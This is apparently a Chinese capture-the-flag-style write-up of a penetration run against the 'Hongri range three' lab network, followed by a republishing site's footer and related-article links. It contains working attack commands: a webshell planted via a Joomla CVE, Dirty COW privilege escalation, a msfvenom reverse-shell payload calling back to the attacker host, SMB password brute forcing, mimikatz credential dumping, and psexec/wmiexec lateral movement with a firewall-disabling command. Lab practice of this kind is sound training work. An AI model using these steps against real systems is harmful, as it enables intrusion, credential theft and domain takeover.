内网渗透——红日靶场三

目录

一、前期准备

二、外网探测

1.使用nmap进行扫描

2.网站信息收集

 3.漏洞复现(CVE-2021-23132)

4.disable_function绕过

5.反弹shell(也,并不是)

6.SSH登录

7.权限提升(脏牛漏洞)

8.信息收集

9.上线msf

三、内网渗透

1.设置路由

 2.信息收集

3.横向移动(SMB爆破)

4.域控横向

四、总结


一、前期准备

将五个虚拟机准备好

然后配置网络,这里只需要额外配置一个网段,即:192.168.93.0/24 作为内网网段,设置为仅主机模式

而 192.168.57.0/24作为外网,为NAT模式。

具体的网络拓扑图可以这样看,记得93网段要配置相应的VMnet3(不然后面的路由设置会出问题)

注:不可重新启动,并没有密码可以进行登录。内网的机器下载好挂着就行。只需要配置好centos机器的网络就行。(保险起见可以预先拍个快照)

二、外网探测

1.使用nmap进行扫描

发现一台出网机器IP地址:192.168.57.145 对该IP地址进行端口扫描

发现开了三个端口,再详细收集下信息。

推测此时应该是Ubuntu,再查看此时的80网页信息

2.网站信息收集

发现使用的cms是Joomla,这个之前在做DC靶机时接触过,有相应的扫描工具Joomscan,可以扫描一下查看对应的版本信息以及目录:

joomscan -u http://192.168.57.145

得到:

 可以得知版本信息为:Joomla 3.9.12 ,搜了一下,发现还是自己以前复现过的一个漏洞,但是得先进入后台才有操作空间,于是就到/administrator目录下尝试登录

搜索Joomla的默认密码

发现并没有作用,再尝试弱口令进行爆破,也没有什么进展。阅读之前扫出来的robots.txt,也没得到什么有用的信息。在使用Joomscan扫描目录的过程中,我发现有一部分目录内容怎样也扫描不出来,于是我再尝试用dirmap进行扫描,得到了一些其他的目录:

 这下扫出来的文件就相当有用:

1.php 包含了一些配置信息

 configuration.php~ 里面竟然含有数据库账号秘密

记得我们之前扫出来的3306端口是开放的,从数据库中获取登录的账号密码也可以支持我们登录,但最终得到的应该是加密格式,需要进行解密。使用Navicat进行数据库连接:

连接成功! 进入joomla数据库,找到表am2zu_users ,可以看到一个super user账户

但是真的需要去爆破密码吗?之前学习过的经验告诉我可以直接在这里修改密码,假设是123456,直接尝试发现并不行,后来我又想到之前在做校验的时候,我是用md5(input)===password的,而非input===password。也就是说我应该将123456的加密值填进去

将$2y$10$OLQJ/GnhLJR/AqLsSk1hFOyqL8TxGG2r9R3QeRCibGCQGj6ZyJvCe填入修改的密码,再使用123456进行登录!

 3.漏洞复现(CVE-2021-23132)

已知我们前面已经得知了joomla的版本:3.9.12 于是可以尝试复现漏洞:CVE-2021-23132

具体的复现原理可以参考我这篇文章:vulfocus漏洞学习——joomla 远程代码执行 (CVE-2021-23132)_joomla 远程代码执行 (cve-2021-23132)-CSDN博客

(1)首先点击media

(2)再点击options

修改此时的文件路径,返回Media

(3)写入一句话木马

此时发现成功实现目录遍历,现在尝试找到error.php文件,再尝试写入一句话木马

 

点击保存就行了,但还需要触发它, 根据下面给的提示

尝试访问路径:http://192.168.57.145/templates/beez3/error.php,没出错就是执行成功了

然后再用蚁剑连接:

getshell成功! 拿到shell肯定要尝试一下命令的,发现拿到的可能是个空shell

 然后我又想到以前学习过的disable_functions绕过的知识,回顾一下:

LD_PRELOAD 绕过 disable_function 学习_绕ld-CSDN博客

4.disable_function绕过

这里为方便直接用蚁剑的插件进行绕过了,记得要设置代理

点击上面的选择模式:

然后点击开始就成功绕过了

5.反弹shell(也,并不是)

当getshell后,弹到kali上用msf对于后续的渗透会方便一些,但我发现反弹shell好像没有这么轻松(尝试了发现都没有作用)。当我对拿下的这台机器进行信息收集时:

并没有按预料的出现我们之前探寻的IP地址192.168.57.145 ,反倒是出现了一个新的网段:192.168.93.120/24。这是怎么回事?(此时假设我不知道Centos和之前环境的配置)可以确定的是Ubuntu的ip地址应该是192.168.93.120 但kali机应该是无法访问到该网段的,猜测有可能是有反向代理服务器,将我kali的请求转发给了Ubuntu!这也是为什么无法直接反弹shell的原因,因为设置的是反向代理而非正向:

现在,拿下反向代理服务器应该才是重点,之前在进行端口扫描的时候发现开启了22端口,并且正好这个端口是没有用到的。也许需要以这个为突破口,但是想要SSH登录的话势必就需要账号和密码,看看我们拿下的Ubuntu中会不会给予一些信息。

6.SSH登录

如果Ubuntu会给账号密码的话,一般我会尝试去那些看起来符合“我的习惯”的地方查,比如一些临时文件用以记忆,一些专门的目录存储账号密码等。最终在/tmp/mysql下找到了一个test.txt文件:

尝试SSH登录:

成功登录!

7.权限提升(脏牛漏洞)

拿下了一台机器就要尝试获得其最高权限,之后才好传递给msf或者cs,首先查看一下版本有没有可能有内核提权漏洞:

可以看到用脏牛漏洞貌似是可以的,复现一下:GitHub - firefart/dirtycow: Dirty Cow exploit - CVE-2016-5195

下载好文件,放在跳板机里:

 然后对dirty.c进行编译,生成可执行文件

[wwwuser@localhost ~]$ gcc -pthread dirty.c -o dirty -lcrypt
[wwwuser@localhost ~]$ ls
dirty  dirty.c

 执行文件

 这里显示/tmp/passwd.bak已经存在了,先备份一份然后再删除试试

这里发现已经可以了,后面跟的123456是我新输入的密码,对应下面的firefart账户(默认账户):

提权成功!

8.信息收集

(1)查看网段信息

发现192.168.93.100 应该是其内网IP

9.上线msf

首先生成一个linux上线木马

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.57.128 LPORT=5555 -f elf -o shell.elf

 然后上传到跳板机中,先赋予权限后执行。然后回到kali中,启动msf

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp 
set LHOST 192.168.57.128
set LPORT 5555
run

成功上线!

三、内网渗透

一开始我想着尝试msf和cs进行联动,但将msf的linux会话传递过去暂时还没有什么头绪(网上一般是传递windows会话)所以后面会一直使用msf进行渗透,正好学习一下msf的用法(cs用太多了)

1.设置路由

查看一下路由信息

接下来要对192.168.93.0/24这个内网网段进行信息探测,需要先配置好路由。先将目标子网添加到路由表中,使得进入192.168.93.0/24的流量可以通过跳板机进行转发

bg
use auxiliary/server/socks_proxy # 启动socks代理模块,搭建代理服务器
set version 4a # 设置代理协议版本
set srvport 8989 # 监听的端口
run

 

 2.信息收集

1. 探测一下存活的主机(这个时候可以把剩下几个虚拟机打开了,不然可能扫不到)

按这样设置就行,可以得到扫描的主机结果:

192.168.93.10 WIN-8GA56TNV3MV

192.168.93.20 WIN2008

192.168.93.30 WIN7

2.对这些IP地址进行端口扫描

msf6 auxiliary(scanner/discovery/udp_probe) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > optionsModule options (auxiliary/scanner/portscan/tcp):Name         Current Setting  Required  Description----         ---------------  --------  -----------CONCURRENCY  10               yes       The number of concurrent ports to check per hostDELAY        0                yes       The delay between connections, per thread, in millisecondsJITTER       0                yes       The delay jitter factor (maximum value by which to +/- DELAY) inmilliseconds.PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)RHOSTS                        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htmlTHREADS      1                yes       The number of concurrent threads (max one per host)TIMEOUT      1000             yes       The socket connect timeout in millisecondsView the full module info with the info, or info -d command.93.30auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.93.10 192.168.93.20 192.168.
RHOSTS => 192.168.93.10 192.168.93.20 192.168.93.30
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 192.168.93.10:        - 192.168.93.10:53 - TCP OPEN
[+] 192.168.93.10:        - 192.168.93.10:88 - TCP OPEN
[+] 192.168.93.10:        - 192.168.93.10:135 - TCP OPEN
[+] 192.168.93.10:        - 192.168.93.10:139 - TCP OPEN
[+] 192.168.93.10:        - 192.168.93.10:389 - TCP OPEN
[+] 192.168.93.10:        - 192.168.93.10:445 - TCP OPEN
[+] 192.168.93.10:        - 192.168.93.10:464 - TCP OPEN
[+] 192.168.93.10:        - 192.168.93.10:593 - TCP OPEN
[+] 192.168.93.10:        - 192.168.93.10:636 - TCP OPEN
[*] Scanned 1 of 3 hosts (33% complete)
[*] Scanned 1 of 3 hosts (33% complete)
[+] 192.168.93.20:        - 192.168.93.20:80 - TCP OPEN
[*] Scanned 1 of 3 hosts (33% complete)
[+] 192.168.93.20:        - 192.168.93.20:135 - TCP OPEN
[+] 192.168.93.20:        - 192.168.93.20:139 - TCP OPEN
[+] 192.168.93.20:        - 192.168.93.20:445 - TCP OPEN
[+] 192.168.93.20:        - 192.168.93.20:1433 - TCP OPEN
[+] 192.168.93.20:        - 192.168.93.20:2383 - TCP OPEN
[*] Scanned 2 of 3 hosts (66% complete)
[*] Scanned 2 of 3 hosts (66% complete)
[*] Scanned 2 of 3 hosts (66% complete)
[+] 192.168.93.30:        - 192.168.93.30:135 - TCP OPEN
[+] 192.168.93.30:        - 192.168.93.30:139 - TCP OPEN
[+] 192.168.93.30:        - 192.168.93.30:445 - TCP OPEN
[*] Scanned 3 of 3 hosts (100% complete)
[*] Auxiliary module execution completed

发现三台机器都开了445端口,可以对其中的win2008和win7都尝试一下SMB爆破

3.横向移动(SMB爆破)

关于SMB这部分我并没有接触得很多,所以需要学习一下其他师傅的方法,同样也是在msf上:

use auxiliary/scanner/smb/smb_login
set threads 5
set RHOSTS 192.168.93.20
set SMBUser administrator 
set pass_file /root/dict/pass.txt # 积累的字典,实在不行就将真实密码填上去了
run 

成功得到win2008的密码:123qwe!ASD

有了密码之后就可以直接尝试psexec横向移动:

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp # 反向TCP连接会话
set SMBUser administrator
set SMBPass 123qwe!ASD
set RHOSTS 192.168.93.20
run

成功横向!并且得到的还是SYSTEM权限。继续进行信息收集:

发现域信息:域为test.org 并以此得到域控的IP为:192.168.93.10

接下来就得尝试域控横向了,在meterpreter中加载mimikatz

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

按这样的命令应该是能够正常抓取到域控(192.168.93.10)的密码的,但我一直抓取不到。我将Mimikatz直接下载到虚拟机win2012中抓取也显示的是null,尝试去修改注册表然后重新登录了下,倒是能看到密码了,但用win2008依旧无法抓取到。 但看别的师傅都能成功抓取到,为了节省时间,先假设我抓到了吧。

4.域控横向

直接使用之前的psexec不成功,考虑用wmiexec进行横向

WMIexec利用WMI协议执行命令。它先调用WMI通过账号密码或NTLM认证连接到远程计算机,若提供账号密码则建立到目标IPC连接,接着WMI建立共享文件夹用于远程读取命令执行结果。wmiexec操作更加隐蔽,其操作记录不会被Windows记录到日志中。

首先,我们前面配置了代理:

然后需要修改我们的 /etc/proxychains4.conf文件

接着运行:

proxychains4 python3 wmiexec.py -debug 'administrator:zxcASDqw123!!@192.168.93.10'

成功拿下域控! 但想要用msf进行统一管理,反正我们之前的psexec横向没有成功,也才猜测是开了防火墙的原因。尝试将win2012的防火墙关闭,再尝试进行psexec横向

netsh advfirewall set allprofiles state off # 关闭防火墙

横向成功!

四、总结

        前段时间备考计组计网导致很久没有学习了,要开始狠狠补救一下了。到前面的外网渗透都还挺顺的,一进入内网,特别是使用msf时,就有些懵了。今天学习到的msf知识还是很多的,总体来说遇到的问题有,但换个法子也能解决。比如最后面的用msf来管理win2012,我一开始是学习其他师傅使用IPC来共享win2008中的木马,从而让win2012上线,但是一直显示出错,后来就又想到直接横向了。

        如果有问题的地方,还请提出(抱拳)

 


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/80158.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

解决Win11下MySQL服务无法开机自启动问题

问题描述 在win11系统中,明明将MySQL服务设置成了自动启动,但在重启电脑后MySQL服务还是无法自动启动,每次都要重新到计算机管理的服务中找到服务再手动启动。 解决方式 首先确保mysql服务的启动类型为自动。 设置方法:找到此电…

后端项目进度汇报

项目概述 本项目致力于构建一个先进的智能任务自动化平台。其核心技术是一套由大型语言模型(LLM)驱动的后端系统。该系统能够模拟一个多角色协作的团队,通过一系列精心设计或动态生成的处理阶段,来高效完成各种复杂任务&#xff…

深度学习中学习率调整:提升食物图像分类模型性能的关键实践

深度学习中学习率调整:提升食物图像分类模型性能的关键实践 接上篇保存最优模型,在深度学习模型训练过程中,学习率作为核心超参数,其设置直接影响模型的收敛速度与最终性能。本文将结合食物图像分类项目,深入探讨学习…

Vue 3零基础入门:从环境搭建到第一个组件

Vue 3零基础入门:从环境搭建到第一个组件 一、Vue 3简介 Vue.js是一款渐进式JavaScript框架,用于构建用户界面。Vue 3是Vue的最新主要版本,于2020年9月发布,带来了许多改进和新特性: 更快的渲染速度更小的包体积Com…

为了结合后端而学习前端的学习日志(1)——纯CSS静态卡片案例

前端设计专栏 使用纯CSS创建简洁名片卡片的学习实践 在这篇技术博客中,我将分享我的前端学习过程,如何使用纯HTML和CSS创建一个简洁美观的名片式卡片,就像我博客首页展示的那样。这种卡片设计非常适合作为个人简介、产品展示或团队成员介绍…

k8s监控方案实践(一):部署Prometheus与Node Exporter

k8s监控方案实践(一):部署Prometheus与Node Exporter 文章目录 k8s监控方案实践(一):部署Prometheus与Node Exporter一、Prometheus简介二、PrometheusNode Exporter实战部署1. 创建Namespace(p…

谷歌最新推出的Gemini 2.5 Flash人工智能模型因其安全性能相较前代产品出现下滑

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗?订阅我们的简报,深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同,从行业内部的深度分析和实用指南中受益。不要错过这个机会,成为AI领…

【Python】PDF文件处理(PyPDF2、borb、fitz)

Python提供了多种方法和库用于处理PDF文件,这些工具可以帮助开发者实现诸如读取、写入、合并、拆分以及压缩等功能。以下是几个常用的Python PDF操作库及其基本用法(PyPDF2、borb、fitz)。 1. PyPDF2 PyPDF2 是一个功能强大的库&#xff0…

websocketd 10秒教程

websocketd 参考地址:joewalnes/websocketd 官网地址:websocketd websocketd简述 websocketd是一个简单的websocket服务Server,运行在命令行方式下,可以通过websocketd和已经有程序进行交互。 现在,可以非常容易地构…

Spring Boot 基于 Cookie 实现单点登录:原理、实践与优化详解

前言 在多系统交互的应用场景中,单点登录(SSO)能够显著提升用户体验,减少重复登录的繁琐操作。基于 Cookie 的单点登录方案,凭借其简单直观、浏览器原生支持的特性,成为快速实现单点登录的有效方式。本文将…

ModBus协议详解:从基础概念到C#实现RTU与TCP通讯

ModBus协议是莫迪康公司为了让PLC之间进行数据通信而设计出来的协议。它是一种总线协议,是一种一对多,上下级的关系。 它的应用广泛,具有免费开源,操作简单的有点,并且可以兼容串口和网络通讯,兼容也不错。…

PHP数组排序深度解析:sort()、rsort()、asort()、arsort()、ksort()、krsort() 的适用场景与性能对比

在PHP开发中,数组排序是日常操作的核心技能之一。无论是处理用户数据、产品列表,还是分析日志信息,合理的排序方法能显著提升代码的效率和可维护性。PHP提供了多种数组排序函数(如 sort()、rsort()、asort() 等)&#…

RabittMQ-高级特性2-应用问题

文章目录 前言延迟队列介绍ttl死信队列存在问题延迟队列插件安装延迟插件使用事务消息分发概念介绍限流非公平分发(负载均衡) 限流负载均衡RabbitMQ应用问题-幂等性保障顺序性保障介绍1顺序性保障介绍2消息积压总结 前言 延迟队列介绍 延迟队列(Delaye…

HOW - 在 Mac 上的 Chrome 浏览器中调试 Windows 场景下的前端页面

文章目录 为什么需要模拟 Windows 环境?一、修改 User-Agent 模拟 Windows 浏览器方法 1:通过 Chrome 开发者工具修改 UA方法 2:使用浏览器插件 二、模拟 Windows 的字体和滚动条样式1. 模拟 Windows 字体2. 强制显示滚动条(模拟 …

如何删除豆包本地大模型

由于无法选择大模型的安装位置,因此会占用C盘大量空间,然后又找到不卸载的地方,经排查豆包大模型安装位为:C:\Users\[当前电脑用户]\AppData\Local\Doubao\User Data,只能进行手动卸载。

Linux C语言线程编程入门笔记

目录 开发环境准备 线程基础概念 进程与线程的关系 线程生命周期 创建线程 等待线程结束 线程函数和参数 互斥锁与共享资源保护 总结 开发环境准备 操作系统:以 Linux 为例(Ubuntu/CentOS 等主流发行版)。请确保系统已安装 GNU C 编…

levelDB的数据查看(非常详细)

起因:.net大作业天气预报程序(WPF)答辩时,老师问怎么维持数据持久性的,启动时加载的数据存在哪里,我明白老师想考的应该是json文件的解析(正反),半天没答上来存那个文件了(老师默认这个文件是自…

数据分析怎么做?高效的数据分析方法有哪些?

目录 一、数据分析的对象和目的 (一)数据分析的常见对象 (二)数据分析的目的 二、数据分析怎么做? (一)明确问题 (二)收集数据 (三)清洗和…

手写 Vue 源码 === 完善依赖追踪与触发更新

目录 依赖收集的完整实现 trackEffects:建立双向依赖关系 触发更新的完整实现 完整的响应式流程 为什么使用 Map 而不是 Set? 总结 在上一篇文章中,我们介绍了 Vue3 响应式系统的基本原理和 activeEffect 的作用。现在,我们将深入探讨完善后的依赖追踪和触发更新机制…

从代码学习深度学习 - 区域卷积神经网络(R-CNN)系列 PyTorch版

文章目录 前言R-CNNFast R-CNN兴趣区域汇聚层 (RoI Pooling)代码示例:兴趣区域汇聚层 (RoI Pooling) 的计算方法Faster R-CNNMask R-CNN双线性插值 (Bilinear Interpolation) 与兴趣区域对齐 (RoI Align)兴趣区域对齐层的输入输出全卷积网络 (FCN) 的作用掩码输出形状总结前言…